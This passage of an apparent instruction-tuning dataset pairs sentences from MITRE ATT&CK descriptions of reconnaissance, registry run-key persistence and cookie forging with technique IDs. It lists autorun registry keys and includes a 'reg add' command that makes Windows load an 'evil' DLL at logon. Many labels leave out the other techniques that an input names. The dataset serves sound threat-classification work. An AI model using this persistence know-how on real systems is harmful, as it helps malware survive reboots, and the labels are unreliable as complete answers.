organization may include a variety of details, including where key resources and infrastructure are housed. ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting.", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's business tempo that can be used during targeting.", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's business tempo that can be used during targeting. ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week.", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources. ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", "output": "T1591.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)) ### Response: T1591.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's organization that can be used during targeting.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's organization that can be used during targeting. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Run Key)", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Run Key) ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These programs will be executed under the context of the user and will have the account's associated permissions level.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These programs will be executed under the context of the user and will have the account's associated permissions level. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Placing a program within a startup folder will cause that program to execute when a user logs in.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Placing a program within a startup folder will cause that program to execute when a user logs in. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The startup folder path for the current user is:\n* <code>C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code> ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The startup folder path for all users is:\n* <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code> ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following run keys are created by default on Windows systems:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nThe <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Registry run key entries can reference programs directly or list them as a dependency.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Registry run key entries can reference programs directly or list them as a dependency. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft RunOnceEx APR 2018)", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft RunOnceEx APR 2018) ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx:", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 1 /d \"C:\\temp\\evil[.]dll\"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018) ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following Registry keys can be used to set startup folder items for persistence:\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n*", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n* ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys: ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most of these actions are under the control of the operating system, but you can also add custom actions here.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most of these actions are under the control of the operating system, but you can also add custom actions here. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code> and <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> subkeys can automatically launch programs. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run when any user logs on. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to autocheck autochk *. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can add other programs or processes to this registry value which will automatically launch at boot.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can add other programs or processes to this registry value which will automatically launch at boot. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "output": "T1060", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. ### Response: T1060."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may generate these cookies in order to gain access to web resources.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may generate these cookies in order to gain access to web resources. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation:", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie) ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values. ### Response: T1606.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation:", "output": "T1606.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection 